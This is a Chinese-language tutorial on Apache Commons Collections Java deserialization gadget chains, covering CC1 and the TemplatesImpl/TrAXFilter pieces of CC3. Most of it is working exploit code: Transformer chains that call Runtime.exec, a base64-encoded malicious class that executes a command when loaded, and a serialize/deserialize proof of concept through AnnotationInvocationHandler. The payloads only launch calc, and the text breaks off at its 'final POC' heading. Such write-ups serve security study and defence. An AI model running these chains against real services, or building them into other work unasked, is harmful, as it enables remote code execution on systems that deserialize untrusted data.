CC链 反序列化
CC链简介
Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。CC链 编写的是测试代码,和 ysoserial 中的稍有不同。 下面的是经常用到的 非常重要 的Transformer接口的实现类。
Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是获取一个对象类型,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class ConstantTransformer implements Transformer , Serializable { private static final long serialVersionUID = 6374440726369055124L ; public static final Transformer NULL_INSTANCE = new ConstantTransformer (null ); private final Object iConstant; public static Transformer getInstance (Object constantToReturn) { if (constantToReturn == null ) { return NULL_INSTANCE; } return new ConstantTransformer (constantToReturn); } public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; } public Object getConstant () { return iConstant; } }
Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class InvokerTransformer implements Transformer , Serializable { static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch ………… } } }
Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;public class Test { public static void main (String[] args) { Transformer transformer2 = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); transformer2.transform(Runtime.getRuntime()); } } ###输出 弹出计算器
Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用构造函数将类实例化,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class InstantiateTransformer implements Transformer , Serializable { static final long serialVersionUID = 3786388740793356347L ; public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer (); private final Class[] iParamTypes; private final Object[] iArgs; public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); }
Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class Student { public Student (String name) { System.out.println("学生姓名:" + name); } } public class Test { public static void main (String[] args) { Transformer instantiateTransformer = new InstantiateTransformer (new Class []{String.class}, new Object []{"小明" }); instantiateTransformer.transform(Student.class); } } ###输出 学生姓名:小明 Process finished with exit code 0
Transformer 接口的实现类,并重写了其接口类的 transformer 方法。其 transform 方法作用是实现数组链式调用。我们只需传入一个 Transformer[] 给 ChainedTransformer,然后执行 ChainedTransformer 的 transform 方法便可以链式调用 Transformer[] 中每个 Transformer 的 transform 方法。关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class ChainedTransformer implements Transformer , Serializable { static final long serialVersionUID = 3514945074733160196L ; private final Transformer[] iTransformers; public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } 方法 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; } }
Demo:( 很重要 利用 ChainedTransformer 实现 Runtime.getRuntime ().exec(“calc”) )
这个是反射调用exec和利用Transformer调用的对比
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class Test { public static void main (String[] args) throws Exception{ Class c = Runtime.class; Method Runtime = (Method) new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(c); Runtime r = (java.lang.Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(Runtime); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r); } }
利用ChainedTransformer进行利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; Transformer chain = new ChainedTransformer (transformers); chain.transform("test1111" ); } }
那么我们如何触发 ChainedTransformer 的 transform 方法呢?这就引出了 LazyMap 类。
LazyMap(重要)
其 get 方法中可以触发 ChainedTransformer 的 transform 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { private static final long serialVersionUID = 7990956402564206740L ; protected final Transformer factory; public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } else { this .factory = factory; } } public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } } }
Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;import java.util.TreeMap;public class Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; Transformer chain = new ChainedTransformer (transformers); Map map = new TreeMap <>(); Map lazy = LazyMap.decorate(map,chain); lazy.get("test" ); } } ###输出 弹出计算器
那么如何反序列化时触发 L
TemplatesImpl(重要)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 public final class TemplatesImpl implements Templates , Serializable { private String _name = null ; private byte [][] _bytecodes = null ; private transient TransformerFactoryImpl _tfactory = null ; public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); } private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; 实例化。 if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ………… } } private void defineTransletClasses () throws TransformerConfigurationException { ………… TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader()); } }); ………… for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); } } static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super (parent); } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } } }
恶意字节码的生成:
HelloTemplatesImpl.java,主要其必须继承 AbstractTranslet 类,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class HelloTemplatesImpl extends AbstractTranslet { public HelloTemplatesImpl () { super (); try { Runtime.getRuntime().exec("calc" ); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
我们将其编译为 HelloTemplatesImpl.class,然后进行 Base64 编码,得到如下结果:
1 yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAJAAQACwANAA4AEAAMABEADQAVAA8ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/ AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj
测试 TemplatesImpl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.security.utils.Base64;import java.lang.reflect.Field;public class Test { public static void setFieldValue (Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } public static void main (String[] args) throws Exception{ byte [] bytes = Base64.decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAJAAQACwANAA4AEAAMABEADQAVAA8ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"HelloTemplatesImpl" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); templates.newTransformer(); } }
所以我们只需传入恶意字节码给 TemplatesImpl,然后调用其 newTransformer 方法。那么有没有类可以调用 TemplatesImpl.newTransformer(),这里先介绍一个构造 CC3 中将会用到的类 TrAXFilter,下面是其构造函数:
1 2 3 4 5 6 7 8 9 10 public class TrAXFilter extends XMLFilterImpl { public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); ………… } }
测试 TrAXFilter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;import javax.xml.transform.Transformer;import javax.xml.transform.TransformerConfigurationException;import java.lang.reflect.Field;public class Test { public static void setFieldValue (Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } public static void main (String[] args) throws TransformerConfigurationException { byte [] bytes = Base64.decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAJAAQACwANAA4AEAAMABEADQAVAA8ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"HelloTemplatesImpl" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class); } } ###输出 弹出计算器
CC1
image-20240401225549195
环境搭建
jdk为8u65
CC1漏洞点在 InvokerTransformer
InvokerTransformer
可以看到这个类的 transform 方法中有任意方法调用
做个 demo
先用反射调用函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Constructor;import java.lang.reflect.Method;public class RunTest { public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); Class c = Runtime.class; Method method = c.getDeclaredMethod("exec" ,String.class); method.invoke(runtime,"calc" ); } }
然后使用这个类进行任意方法调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Constructor;import java.lang.reflect.Method;public class RunTest { public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(runtime); } }
然后看哪个类调用 transform 方法
找到了 TransformedMap 方法
这里会调用 transform 方法
看一下构造函数
简单理解为对传入的 key 与 value 进行操作,操作内容就在传入的 Transformer 里面,就是说只要我们把 valueTransformer 设置为 InvokerTransformer ,那么调用 checkSetValue 的时候就会调用其transform 方法
接着我们寻找调用了 TransformedMap.checkSetValue 的类
AbstractInputCheckedMapDecorator.MapEntry
找到了 AbstractInputCheckedMapDecorator 类,注意 AbstractInputCheckedMapDecorator 是TransformedMap 的父类
在 MapEntry 中调用了 checkSetValue 方法,而 MapEntry 是在遍历Map的时候会调用
继续测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class RunTest { public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("key" ,"aaa" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null ,invokerTransformer); for (Map.Entry<Object, Object> map:transformedMap.entrySet()){ System.out.println("1" ); map.setValue(runtime); } } }
然后我们看看有谁的 readObject 调用了 setvalue
AnnotationInvocationHandler.readObject
在 jdk8u71 前 , 该类的源码是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Iterator var4 = this .memberValues.entrySet().iterator();while (var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null ) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } }
这里有一个 setValue() 函数
因为AnnotationInvocationHandler未有描述,默认为Default类,只能通过反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class RunTest { public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("key" ,"aaa" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null ,invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
一些小问题
第一个就是我们之前 setValue 的时候直接设置Runtime对象,而这里是AnnotationTypeMismatchExceptionProxy 对象
第二个问题就是 Runtime 对象不能序列化,只能通过反射
第三个问题就是想要调用 setValue 要有几个if判断
解决Runtime对象序列化
Runtime 对象不能序列化,但是 Runtime.class 可以序列化,通过反射来调用
1 2 3 4 5 Class c = Runtime.class;Method getRuntimeMethod = c.getMethod("getRuntime" , null );Runtime r = (Runtime) getRuntimeMethod.invoke(null ,null );Method execMethod = c.getMethod("exec" , String.class);execMethod.invoke(r,"calc" );
然后再将其修改为 InvokerTransformer 版本
1 2 3 Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class }, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class} , new Object []{null , null }).transform(getRuntimeMethod);new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
这里因为是重复调用,所以考虑 ChainedTransformer
可以看到 ChainedTransformer 的构造函数中传递一个方法数组并且赋值给这个变量,然后在transform中进行递归调用那我们先定义一个 Transformer 数组,然后传入 ChainedTransformer
1 2 3 4 5 6 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
if判断
第一个if判断
是让我们的map里面的key与成员方法相同
跟进 Override 发现 target 里面有个 value 方法,所以将 Override.class 修改为 target.class 并且将map的"key"修改为"value"
AnnotationTypeMismatchExceptionProxy对象
我们走到这里的时候会发现,这里的value是 AnnotationTypeMismatchExceptionProxy 对象
回忆一下前面 chainedTransformer
1 chainedTransformer.transform(Runtime.class);
调用的是Runtime.class对象
这里引入另一个类: ConstantTransformer
可以看到 ConstantTransformer.transform 不管传入什么都会返回固定的值
那么我们只要让这个 iConstant为Runtime.class 即可
最终POC
